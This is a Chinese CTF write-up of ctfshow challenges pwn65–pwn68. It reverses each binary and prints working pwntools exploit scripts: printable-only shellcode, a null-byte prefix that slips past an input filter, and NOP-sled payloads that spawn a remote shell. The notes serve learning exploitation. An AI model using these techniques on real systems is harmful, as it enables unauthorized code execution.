ctfshow做题笔记—栈溢出—pwn65~pwn68

目录

前言

一、pwn65(你是一个好人)

二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)

三、pwn67(32bit nop sled)(确实不会)

四、pwn68(64bit nop sled)


前言

做起来比较吃力哈哈,自己还是太菜了,学了一些新的知识,记录一下。


一、pwn65(你是一个好人)

先checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn65
[*] '/home/kali/桌面/ctfshoww/pwn65'Arch:       amd64-64-littleRELRO:      Full RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        PIE enabledStack:      ExecutableRWX:        Has RWX segments
Stripped:   No

真的感觉保护得好好的,还用了PIE,看一看代码吧。

main函数的看不了,只能瞅瞅汇编代码了。

映入眼帘的一个超大缓冲区用来存用户输入的shellcode。

.text:00000000000011BB                 cdqe
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
.text:00000000000011C5                 cmp     al, 60h
.text:00000000000011C7                 jle     short loc_11DA
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah
.text:00000000000011D8                 jle     short loc_1236

特别注意下面的类似的代码,cdqe 是一条指令,它的作用是将 32 位寄存器 EAX 的值扩展到 64 位寄存器 RAX 中。具体来说,它会将 EAX 的值符号扩展到 RAX,即保留 EAX 的符号位,并填充到 RAX 的高 32 位。

mov eax, [rbp+var_4]:将 var_4 的值加载到 EAX 中。

mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]

cdqe:将 EAX 的值符号扩展到 RAX,确保 RAX 是一个 64 位的地址。

movzx eax, [rbp+rax+buf]:将 buf 缓冲区中偏移为 RAX 的字节加载到 EAX 中,并将结果零扩展到 32 位。

另外:

检查读取结果

.text:000000000000119C                 cmp     [rbp+var_8], 0
.text:00000000000011A0                 jg      short loc_11AC
.text:00000000000011A2                 mov     eax, 0
.text:00000000000011A7                 jmp     locret_1254

如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。

.text:000000000000119C                 cmp     [rbp+var_8], 0
.text:00000000000011A0                 jg      short loc_11AC
.text:00000000000011A2                 mov     eax, 0
.text:00000000000011A7                 jmp     locret_1254

如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。

字符范围检查

检查当前字符 AL 是否在范围 0x60 - 0x7A(小写字母 a 到 z)内:

如果 AL <= 0x60,跳转到 loc_11DA。

如果 AL <= 0x7A,跳转到 loc_1236(继续检查下一个字符)。

如果当前字符不在范围 0x60 - 0x7A 内,检查是否在范围 0x40 - 0x5A(大写字母 @ 到 Z)内:

如果 AL <= 0x40,跳转到 loc_11FC。

如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。

如果当前字符不在范围 0x40 - 0x5A 内,检查是否在范围 0x2F - 0x5A(/ 到 Z)内:

如果 AL <= 0x2F,跳转到 loc_121E。

如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。

如果字符不在任何允许的范围内,程序会输出 "Good, but not right" 并退出。

这个就是大致流程,但是这个shellcode该怎么写呢,看了大佬的做法要使用 alpha3 工具生成只包含可打印字符的 Shellcode。alpha3 可以将原始 Shellcode 编码为只包含特定字符集的版本。结合载有deepseek r1-14b的星见雅的做法,试着写了一下。由于工具安装失败,所以就试了试可视的shellcode当然要用64位那个。

还有一个很特别的地方,就是发送shellcode时一般用的sendline最后会换行,当然’\n’不是范围内的字符,所以要用send。查了一些资料:

·send 函数:

主要用于将指定的数据发送到目标连接。

不会自动在发送的数据末尾添加换行符(\n)。

·sendline 函数:

在发送数据后,通常会在数据的末尾自动添加一个换行符(\n)。

这相当于执行 send(data + '\n')。

使用 send 的情况:

当你需要精确控制发送的数据内容,包括是否包含换行符时。

如果目标程序或服务需要特定的输入格式,不带自动换行。

使用 sendline 的情况:

当你需要发送完整的命令或字符串,并希望目标程序将其视为独立的输入。

特别是在与交互式shell或控制台程序通信时,通常需要换行符来分隔不同的输入。

Ok,来试一试吧:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28212)
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()


二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)

这又是什么玩意,快被shellcode搞疯了。

先checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn66
[*] '/home/kali/桌面/ctfshoww/pwn66'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x400000)Stripped:   No

嘶,随便搞了一个64位的shellcode,显示error。

看看代码吧。

 buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);

之前遇到过。

特别的,有一段验证:

调用check(buf)函数对输入的内容进行验证。如果返回值为真,则表示检测到了潜在的安全威胁或无效数据。

如果触发条件,程序打印“ ERROR !”并退出。

那就来看看check:

signed __int64 __fastcall check(_BYTE *a1)
{const char *j; // [sp+18h] [bp-10h]@2_BYTE *i; // [sp+20h] [bp-8h]@1for ( i = a1; *i; ++i ){for ( j = "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"; *j && *j != *i; ++j );if ( !*j )return 0LL;}return 1LL;
}

总的来说就是需要一个以\00开头的shellcode,搜索了一下,\x00\xc0,先积累一下。

\x00B后面加上一个字符,对应一个汇编语句。我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等来绕过检查。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00B\x22'
payload=che+shellcode
p.sendline(payload)
p.interactive()

 或者:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00\xc0'
payload=che+shellcode
p.sendline(payload)
p.interactive()


三、pwn67(32bit nop sled)(确实不会)

这是什么东东,不是很懂,又要学习新知识了。

Checksec知是32位程序,而且开了Canary。

发现这么一串然后就退出:

Please wait while loading.............Done
Receiving signal.Signal 0...Done
Signal 1.Done
Signal 2..DoneThe load is complete.
Warning: The signal is weakWe need to load the ctfshow_flag.
The current location: 0xffaea4b2
What will you do?
> cat ctfshow_flag
Where do you start?
> 0xffaea4b2┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ 

给了一个正确地址,可能需要进行填充覆盖到这个地址 。

拖进ida看看吧。

又不许看c代码。。。。。。

上网搜索说需要运用NOP Sled(滑坡)来解决栈地址随机化导致很难知道shellcode的内存地址。

知识:

NOP Sled(也称为 NOP Slide 或 NOP Ramp)是一种在计算机安全领域中用于缓冲区溢出攻击的技术。它通过在攻击代码(shellcode)之前插入大量 NOP(No Operation,无操作)指令来增加攻击的成功率。

工作原理:

1.NOP 指令:NOP 是一条不执行任何操作的指令,其在 x86 架构中的机器码为 \x90。当 CPU 执行 NOP 指令时,程序计数器(PC 或 EIP)会简单地递增,跳转到下一条指令。

2.缓冲区溢出攻击:在缓冲区溢出攻击中,攻击者通常需要将程序的执行流(EIP)指向攻击代码(shellcode)。然而,由于栈随机化(ASLR)的存在,攻击者很难精确知道 shellcode 的内存地址。

NOP Sled 的作用:为了应对这一问题,攻击者会在 shellcode 之前插入大量 NOP 指令,形成一个“滑坡”(sled)。只要 EIP 落在这个 NOP 区域的任意位置,执行流就会沿着 NOP 指令“滑动”,直到到达 shellcode 的起始位置并执行。

优势:

提高攻击成功率:通过增加一个较大的 NOP 区域,攻击者不需要精确控制 EIP 的值,只需让 EIP 落在 NOP Sled 的范围内即可。

对抗栈随机化:即使栈的起始地址是随机的,NOP Sled 也能显著增加攻击代码被成功执行的概率。

首先这道题并没有开启NX,我们任然可以注入shellcode,但是我们拟在 var_1010 中写入shellcode的地址并执行,因为程序最后读取了一个地址然后执行,这里可以执行shellcode,但是shellcode的参数写在哪里呢,似乎seed是个不错的选则,但是seed的准确地址我们无从得知,所以这个滑坡可以起到很大的作用,

.text:080489E2                 lea     eax, [ebp+seed]
.text:080489E8                 push    eax             ; s
.text:080489E9                 call    _fgets

然而通过提前链接靶机知道会泄露一个地址:

char *query_position()
{int v0; // eax@1char *result; // eax@1char v2; // [sp+3h] [bp-15h]@1int v3; // [sp+4h] [bp-14h]@1char *v4; // [sp+8h] [bp-10h]@1int v5; // [sp+Ch] [bp-Ch]@1_x86_get_pc_thunk_ax();v5 = *MK_FP(__GS__, 20);v0 = rand();v3 = v0 % 1337 - 668;v4 = &v2 + v3;result = &v2 + v3;if ( *MK_FP(__GS__, 20) != v5 )_stack_chk_fail_local();return result;
}

 result = &v2 + v3;就是泄露的地址

当然v2在栈上,所以我们可以通过v2的真实地址计算出seed的地址,这个过程还是太吃操作,看了好久好才有所感悟(有没有及不吃操作又能做对的英雄可以推荐一下),在x86汇编中,ebp通常被用作基址指针,用于访问局部变量和函数参数。每当进入一个函数时,函数会将 ebp 保存起来,并建立新的 ebp 指针指向当前栈帧的顶部。当函数返回时,原来的 ebp 被恢复。V3是一个定值,就是v2的地址到seed的距离。因为有一个随机数处理,所以query_position()最后输出并打印的结果是position=&v2+v3=&v2+random-668(random∈(0,1336))

所以我们只要把seed填到把打印出的position所有可能出现的区间用nop sled填满,这样就一定可以滑到shellcode.

我们先用pwngdb调试一下,便携版内容不太全,结合ida

char v2; // [sp+3h] [bp-15h]@1

在运行到断点pwndbg> break query_position

Breakpoint 1 at 0x80487d5之后用

pwndbg> p $ebp - 0x15

$2 = (void *) 0xffffbe13

我们找到了v2(汗流浃背了已经),接下来是seed,实在不会了,直接照着大佬做吧。

最后算出来是0x2d

pwndbg> info registers ebp
ebp            0xffffbe28          0xffffbe28
01:0004│ ebp 0xffffbe28 —▸ 0xffffce48 ◂— 0

嘶,实在有点无能为力了0xffffce48 - 0xffffbe28 = 0x1039c(即 66,252 字节)

这里nop在 [v1,v1 +1336] 范围内我们都可以执行到 nop,然后滑向 shellcode

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28136)
p.recvuntil("current location: ")
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*1336+shellcode
p.recvuntil(">")
p.sendline(payload)
shellar=ar+0x2d+668
p.recvuntil(">")
p.sendline(hex(shellar))#hex将后面转化为16进制地址
p.interactive()

确实还是能打出来,不过关于计算确实不太会。


四、pwn68(64bit nop sled)

今天继续往前做,64位nop seld,一样的开了金丝雀。

拖进ida看一看。

嘿,这次可以看main函数的c语言代码了。

int __cdecl main(int argc, const char **argv, const char **envp)
{FILE *v3; // rdi@1__int64 v4; // rax@1int result; // eax@1__int64 v6; // rcx@1void (*v7)(void); // [sp+8h] [bp-1018h]@1unsigned int seed; // [sp+10h] [bp-1010h]@1__int64 v9; // [sp+1018h] [bp-8h]@1v9 = *MK_FP(__FS__, 40LL);v3 = stdout;setbuf(stdout, 0LL);logo(v3, 0LL);srand((unsigned __int64)&seed);Loading();acquire_satellites();LODWORD(v4) = query_position();printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v4);printf("What will you do?\n> ");fgets((char *)&seed, 4096, stdin);printf("Where do you start?\n> ", 4096LL);__isoc99_scanf("%p", &v7);v7();result = 0;v6 = *MK_FP(__FS__, 40LL) ^ v9;return result;
}

还是用v7来读入shellcode的地址,用seed来写入shellcode,c代码里可以直观的看到。

 __isoc99_scanf("%p", &v7);

  v7();

所以需要找到seed与v7之间的偏移量。

char *query_position()
{int v0; // eax@1char *result; // rax@1__int64 v2; // rsi@1char v3; // [sp+Bh] [bp-15h]@1int v4; // [sp+Ch] [bp-14h]@1char *v5; // [sp+10h] [bp-10h]@1__int64 v6; // [sp+18h] [bp-8h]@1v6 = *MK_FP(__FS__, 40LL);v0 = rand();v4 = v0 % 1337 - 668;v5 = &v3 + v4;result = &v3 + v4;v2 = *MK_FP(__FS__, 40LL) ^ v6;return result;
}

这个函数输出了一个类似地址的东西,v5 = &v3 + v4;所以v3也是我们要利用的,v4应该是常量。

关键信息:

char v3; // [sp+Bh] [bp-15h]@1
v4 = v0 % 1337 - 668;

我们pwndbg调试一下:
先在query_position处下一个断点

break query_positionpwndbg> info registers rbp
rbp            0x7fffffffcc10      0x7fffffffcc10
continue
pwndbg>  info registers rbp
rbp            0x7fffffffdc40      0x7fffffffdc40

上面就是rbp的变化,这次就跟着大佬的节奏试着画一个栈布局的图吧。

0000000000400A6D                 sub     rsp, 1020h

根据这个可以知道[main]rsp =[main]rbp-0x1020=[main]rbp-0x1020

可以双击进入v7和seed看一看偏移地址:

-0000000000001018 var_1018        dq ?
-0000000000001010 seed            dd ?

试着用表格搞了一个栈分布,准确地址不太会算。

然后rbp开始变化:

再更新一下栈图(有不对的地方,毕竟才学):

大概是这个样子,不太会画。

这样比上一道题做起来清晰一点了,虽然有很多错误。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28302)
p.recvuntil(b'location: ')
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*0x260+shellcode#0x260随便找一个比0x25C大的
p.sendline(payload)
p.sendline(hex(ar+688))
p.interactive()

试了两个nop还是汗流浃背打出来了。


还有很多不懂的地方,继续学习中......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/30885.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git基础之工作原理

基础概念 git本地有三个工作区域&#xff0c;工作目录 Working Directory&#xff0c;暂存区Stage/Index和资源区Repository/Git Directory&#xff0c;如果在加上远程的git仓库就是四个工作区域 四个区域与文件交换的命令之间的关系 WorkSpace&#xff1a;工作区&#xff0c;就…

Linux 指定命令行前后添加echo打印内容

目录 一. 前提条件二. 通过sh脚本进行批量修改三. 通过Excel和文本编辑器进行批量转换四. 实际执行效果 一. 前提条件 ⏹项目中有批量检索文件的需求&#xff0c;如下所示需要同时执行500多个find命令 find ./work -type f -name *.java find ./work -type f -name *.html fi…

Immich自托管服务的本地化部署与随时随地安全便捷在线访问数据

文章目录 前言1.关于Immich2.安装Docker3.本地部署Immich4.Immich体验5.安装cpolar内网穿透6.创建远程链接公网地址7.使用固定公网地址远程访问 前言 小伙伴们&#xff0c;你们好呀&#xff01;今天要给大家揭秘一个超炫的技能——如何把自家电脑变成私人云相册&#xff0c;并…

pytorch 50 大模型导出的onnx模型优化尝试

本博文基于Native-LLM-for-Android项目代码实现,具体做了以下操作: 1、尝试并实现将模型结构与权重零散的onnx模型进行合并,通过该操作实现了模型加载速度提升,大约提升了3倍 2、突破了onnxconverter_common 无法将llm模型导出为fp16的操作,基于该操作后将10g的权重降低到…

Training-free Neural Architecture Search for RNNs and Transformers(预览版本)

摘要 神经架构搜索 (NAS) 允许自动创建新的有效神经网络架构&#xff0c;为手动设计复杂架构的繁琐过程提供了替代方案。然而&#xff0c;传统的 NAS 算法速度慢&#xff0c;需要大量的计算能力。最近的研究调查了图像分类架构的无训练 NAS 指标&#xff0c;大大加快了搜索算…

c++_二叉树的介绍

内存模型 一.内存中有代码区&#xff1b;栈区&#xff1b;数据段 堆区 1、栈区存放了函数所有局部变量和形参&#xff1b; 它的局限在于&#xff1a;局部变量和形参的生存期&#xff1b;即函数返回后对象就会被回收 解决方案是&#xff1a;1&#xff09;使用全局变量 &…

②Modbus TCP转Modbus RTU/ASCII网关同步采集无需编程高速轻松组网

Modbus TCP转Modbus RTU/ASCII网关同步采集无需编程高速轻松组网https://item.taobao.com/item.htm?ftt&id784749793551 网关 MS-A1-5081 MS-A1-5081 网关通过 MODBUS TCP 协议与 Modbus RTU/ASCII 协议的相互转换&#xff0c;可以将 Modbus 串口设备接入 MODBUS TCP 网络…

[网络爬虫] 动态网页抓取 — Selenium 元素定位

&#x1f31f;想系统化学习爬虫技术&#xff1f;看看这个&#xff1a;[数据抓取] Python 网络爬虫 - 学习手册-CSDN博客 在使用 Selenium 时&#xff0c;往往需要先定位到指定元素&#xff0c;然后再执行相应的操作。例如&#xff0c;再向文本输入框中输入文字之前&#xff0c;…

vue实现一个pdf在线预览,pdf选择文本并提取复制文字触发弹窗效果

[TOC] 一、文件预览 1、安装依赖包 这里安装了disjs-dist2.16版本&#xff0c;安装过程中报错缺少worker-loader npm i pdfjs-dist2.16.105 worker-loader3.0.8 2、模板部分 <template><div id"pdf-view"><canvas v-for"page in pdfPages&qu…

Java零基础入门笔记:多线程

前言 本笔记是学习狂神的java教程&#xff0c;建议配合视频&#xff0c;学习体验更佳。 【狂神说Java】Java零基础学习视频通俗易懂_哔哩哔哩_bilibili 第1-2章&#xff1a;Java零基础入门笔记&#xff1a;(1-2)入门&#xff08;简介、基础知识&#xff09;-CSDN博客 第3章…

【VUE2】第三期——样式冲突、组件通信、异步更新、自定义指令、插槽

目录 1 scoped解决样式冲突 2 data写法 3 组件通信 3.1 父子关系 3.1.1 父向子传值 props 3.1.2 子向父传值 $emit 3.2 非父子关系 3.2.1 event bus 事件总线 3.2.2 跨层级共享数据 provide&inject 4 props 4.1 介绍 4.2 props校验完整写法 5 v-model原理 …

蓝桥杯刷题周计划(第二周)

目录 前言题目一题目代码题解分析 题目二题目代码题解分析 题目三题目代码题解分析 题目四题目代码题解分析 题目五题目代码题解分析 题目六题目代码题解分析 题目七题目代码题解分析 题目八题目题解分析 题目九题目代码题解分析 题目十题目代码题解分析 题目十一题目代码题解分…

Redis渐进式遍历数据库

目录 渐进式遍历 数据库 渐进式遍历 keys*可以一次性的把整个redis中所有key都获取到&#xff0c;这个操作是非常危险的&#xff0c;因为可能一下获取到太多的key&#xff0c;阻塞redis服务器。要想很好的获取到所有的key&#xff0c;又不想出现卡死的情况&#xff0c;就可以…

一周学会Flask3 Python Web开发-使用SQLAlchemy动态创建数据库表

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 前面我们定义了模型&#xff0c;我们可以通过sqlalchemy对象提供的create_all()方法来映射和动态创建数据库表。 因为我们用到…

android studio2024最新详解(完全小白)安装-运行第一个程序

前面我用2023最新版本的&#xff0c;死活就卡在引入依赖那里卡了两天&#xff0c;俺的崩溃谁知啊&#xff01;&#xff01; 后面我就换了个思维&#xff0c;看着网上大多的教程都是基于2022或者2020的&#xff0c;我就找了个看起来非常详细的视频&#xff0c;里面的是2020的&am…

laravel中 添加公共/通用 方法/函数

一&#xff0c;现在app 下面创建Common目录&#xff0c;然后在创建Common.php 文件 二&#xff0c;修改composer.json文件 添加这个到autoload 中 "files": ["app/Common/Common.php"]"autoload": {"psr-4": {"App\\": &quo…

c语言笔记 函数参数的等价(上)

这三种写法在 C 语言中是等价的&#xff0c;因为它们都用于声明一个指向二维数组的指针&#xff0c;或者用于声明一个二维数组作为函数参数。它们的等价性源于 C 语言中数组和指针之间的密切关系。让我们逐一分析这三种写法&#xff1a; 在C语言中&#xff0c;当数组作为函数参…

ubuntu局域网部署stable-diffusion-webui记录

需要局域网访问&#xff0c;如下设置&#xff1a; 过程记录查看源码&#xff1a; 查看源码&#xff0c;原来修改参数&#xff1a;--server-name 故启动&#xff1a; ./webui.sh --server-name0.0.0.0 安装下载记录&#xff1a; 快速下载可设置&#xff1a; export HF_ENDPOI…

CTFHub-FastCGI协议/Redis协议

将木马进行base64编码 <?php eval($_GET[cmd]);?> 打开kali虚拟机&#xff0c;使用虚拟机中Gopherus-master工具 Gopherus-master工具安装 git clone https://github.com/tarunkant/Gopherus.git 进入工具目录 cd Gopherus 使用工具 python2 "位置" --expl…

MetaGPT发布的MGX与Devin深度对比

家人们&#xff0c;搞编程的都知道&#xff0c;工具选对了&#xff0c;效率能翻倍&#xff01;今天必须给大伙唠唠MetaGPT发布的MGX编程助手和Devin编程助手 。 先看MGX&#xff0c;简直是编程界的王炸&#xff01;它就像一个超神的虚拟开发团队&#xff0c;一堆智能助手分工明…